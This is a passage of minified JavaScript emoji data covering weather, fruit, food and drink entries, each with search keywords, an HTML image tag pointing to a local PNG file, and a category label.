src="1f4a5.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},snowflake:{keywords:["winter","season","cold","weather","christmas","xmas"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2744\ufe0f" src="2744.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_snow:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf28" src="1f328.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},snowman:{keywords:["winter","season","cold","weather","christmas","xmas","frozen","without_snow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c4" src="26c4.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},snowman_with_snow:{keywords:["winter","season","cold","weather","christmas","xmas","frozen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2603" src="2603.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},wind_face:{keywords:["gust","air"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2c" src="1f32c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dash:{keywords:["wind","air","fast","shoo","fart","smoke","puff"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca8" src="1f4a8.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tornado:{keywords:["weather","cyclone","twister"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2a" src="1f32a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},fog:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2b" src="1f32b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},open_umbrella:{keywords:["weather","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2602" src="2602.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},umbrella:{keywords:["rainy","weather","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2614" src="2614.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},droplet:{keywords:["water","drip","faucet","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca7" src="1f4a7.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sweat_drops:{keywords:["water","drip","oops"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca6" src="1f4a6.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},ocean:{keywords:["sea","water","wave","nature","tsunami","disaster"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0a" src="1f30a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},green_apple:{keywords:["fruit","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4f" src="1f34f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},apple:{keywords:["fruit","mac","school"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4e" src="1f34e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pear:{keywords:["fruit","nature","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf50" src="1f350.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},tangerine:{keywords:["food","fruit","nature","orange"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4a" src="1f34a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},lemon:{keywords:["fruit","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4b" src="1f34b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},banana:{keywords:["fruit","food","monkey"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4c" src="1f34c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},watermelon:{keywords:["fruit","food","picnic","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf49" src="1f349.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},grapes:{keywords:["fruit","food","wine"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf47" src="1f347.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},strawberry:{keywords:["fruit","food","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf53" src="1f353.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},melon:{keywords:["fruit","nature","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf48" src="1f348.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cherries:{keywords:["food","fruit"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf52" src="1f352.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},peach:{keywords:["fruit","nature","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf51" src="1f351.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pineapple:{keywords:["fruit","nature","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf4d" src="1f34d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},coconut:{keywords:["fruit","nature","food","palm"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd65" src="1f965.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},kiwi_fruit:{keywords:["fruit","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5d" src="1f95d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},mango:{keywords:["fruit","food","tropical"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6d" src="1f96d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},avocado:{keywords:["fruit","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd51" src="1f951.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},broccoli:{keywords:["fruit","food","vegetable"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd66" src="1f966.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},tomato:{keywords:["fruit","vegetable","nature","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf45" src="1f345.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},eggplant:{keywords:["vegetable","nature","food","aubergine"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf46" src="1f346.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cucumber:{keywords:["fruit","food","pickle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd52" src="1f952.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},carrot:{keywords:["vegetable","food","orange"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd55" src="1f955.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},hot_pepper:{keywords:["food","spicy","chilli","chili"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf36" src="1f336.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},potato:{keywords:["food","tuber","vegatable","starch"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd54" src="1f954.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},corn:{keywords:["food","vegetable","plant"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3d" src="1f33d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},leafy_greens:{keywords:["food","vegetable","plant","bok choy","cabbage","kale","lettuce"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6c" src="1f96c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},sweet_potato:{keywords:["food","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf60" src="1f360.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},peanuts:{keywords:["food","nut"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5c" src="1f95c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},honey_pot:{keywords:["bees","sweet","kitchen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6f" src="1f36f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},croissant:{keywords:["food","bread","french"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd50" src="1f950.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bread:{keywords:["food","wheat","breakfast","toast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5e" src="1f35e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},baguette_bread:{keywords:["food","bread","french"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd56" src="1f956.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bagel:{keywords:["food","bread","bakery","schmear"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6f" src="1f96f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pretzel:{keywords:["food","bread","twisted"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd68" src="1f968.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cheese:{keywords:["food","chadder"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc0" src="1f9c0.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},egg:{keywords:["food","chicken","breakfast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5a" src="1f95a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bacon:{keywords:["food","breakfast","pork","pig","meat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd53" src="1f953.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},steak:{keywords:["food","cow","meat","cut","chop","lambchop","porkchop"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd69" src="1f969.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pancakes:{keywords:["food","breakfast","flapjacks","hotcakes"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5e" src="1f95e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},poultry_leg:{keywords:["food","meat","drumstick","bird","chicken","turkey"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf57" src="1f357.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},meat_on_bone:{keywords:["good","food","drumstick"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf56" src="1f356.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bone:{keywords:["skeleton"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb4" src="1f9b4.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fried_shrimp:{keywords:["food","animal","appetizer","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf64" src="1f364.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fried_egg:{keywords:["food","breakfast","kitchen","egg"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf73" src="1f373.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},hamburger:{keywords:["meat","fast food","beef","cheeseburger","mcdonalds","burger king"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf54" src="1f354.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fries:{keywords:["chips","snack","fast food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5f" src="1f35f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},stuffed_flatbread:{keywords:["food","flatbread","stuffed","gyro"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd59" src="1f959.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},hotdog:{keywords:["food","frankfurter"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2d" src="1f32d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pizza:{keywords:["food","party"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf55" src="1f355.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},sandwich:{keywords:["food","lunch","bread"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6a" src="1f96a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},canned_food:{keywords:["food","soup"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6b" src="1f96b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},spaghetti:{keywords:["food","italian","noodle"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5d" src="1f35d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},taco:{keywords:["food","mexican"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2e" src="1f32e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},burrito:{keywords:["food","mexican"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf2f" src="1f32f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},green_salad:{keywords:["food","healthy","lettuce"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd57" src="1f957.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},shallow_pan_of_food:{keywords:["food","cooking","casserole","paella"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd58" src="1f958.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},ramen:{keywords:["food","japanese","noodle","chopsticks"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5c" src="1f35c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},stew:{keywords:["food","meat","soup"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf72" src="1f372.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fish_cake:{keywords:["food","japan","sea","beach","narutomaki","pink","swirl","kamaboko","surimi","ramen"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf65" src="1f365.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},fortune_cookie:{keywords:["food","prophecy"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd60" src="1f960.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},sushi:{keywords:["food","fish","japanese","rice"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf63" src="1f363.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},bento:{keywords:["food","japanese","box"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf71" src="1f371.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},curry:{keywords:["food","spicy","hot","indian"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5b" src="1f35b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},rice_ball:{keywords:["food","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf59" src="1f359.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},rice:{keywords:["food","china","asian"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf5a" src="1f35a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},rice_cracker:{keywords:["food","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf58" src="1f358.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},oden:{keywords:["food","japanese"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf62" src="1f362.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},dango:{keywords:["food","dessert","sweet","japanese","barbecue","meat"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf61" src="1f361.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},shaved_ice:{keywords:["hot","dessert","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf67" src="1f367.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},ice_cream:{keywords:["food","hot","dessert"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf68" src="1f368.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},icecream:{keywords:["food","hot","dessert","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf66" src="1f366.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},pie:{keywords:["food","dessert","pastry"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd67" src="1f967.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cake:{keywords:["food","dessert"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf70" src="1f370.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cupcake:{keywords:["food","dessert","bakery","sweet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc1" src="1f9c1.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},moon_cake:{keywords:["food","autumn"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd6e" src="1f96e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},birthday:{keywords:["food","dessert","cake"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf82" src="1f382.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},custard:{keywords:["dessert","food"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6e" src="1f36e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},candy:{keywords:["snack","dessert","sweet","lolly"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6c" src="1f36c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},lollipop:{keywords:["food","snack","candy","sweet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6d" src="1f36d.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},chocolate_bar:{keywords:["food","snack","dessert","sweet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6b" src="1f36b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},popcorn:{keywords:["food","movie theater","films","snack"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7f" src="1f37f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},dumpling:{keywords:["food","empanada","pierogi","potsticker"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5f" src="1f95f.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},doughnut:{keywords:["food","dessert","snack","sweet","donut"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf69" src="1f369.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cookie:{keywords:["food","snack","oreo","chocolate","sweet","dessert"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf6a" src="1f36a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},milk_glass:{keywords:["beverage","drink","cow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd5b" src="1f95b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},beer:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7a" src="1f37a.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},beers:{keywords:["relax","beverage","drink","drunk","party","pub","summer","alcohol","booze"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7b" src="1f37b.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},clinking_glasses:{keywords:["beverage","drink","party","alcohol","celebrate","cheers","wine","champagne","toast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd42" src="1f942.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},wine_glass:{keywords:["drink","beverage","drunk","alcohol","booze"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf77" src="1f377.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},tumbler_glass:{keywords:["drink","beverage","drunk","alcohol","liquor","booze","bourbon","scotch","whisky","glass","shot"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd43" src="1f943.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cocktail:{keywords:["drink","drunk","alcohol","beverage","booze","mojito"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf78" src="1f378.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},tropical_drink:{keywords:["beverage","cocktail","summer","beach","alcohol","booze","mojito"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf79" src="1f379.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},champagne:{keywords:["drink","wine","bottle","celebration"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7e" src="1f37e.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},sake:{keywords:["wine","drink","drunk","beverage","japanese","alcohol","booze"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf76" src="1f376.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},tea:{keywords:["drink","bowl","breakfast","green","british"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf75" src="1f375.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},cup_with_straw:{keywords:["drink","soda"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd64" src="1f964.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},coffee:{keywords:["beverage","caffeine","latte","espresso"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2615" src="2615.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},baby_bottle:{keywords:["food","container","milk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf7c" src="1f37c.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},salt:{keywords:["condiment","shaker"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddc2" src="1f9c2.png"/>',fitzpatrick_scale:!1,category:"food_and_drink"},spoon:{keywords:["cutlery","kitchen","tableware"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd44" 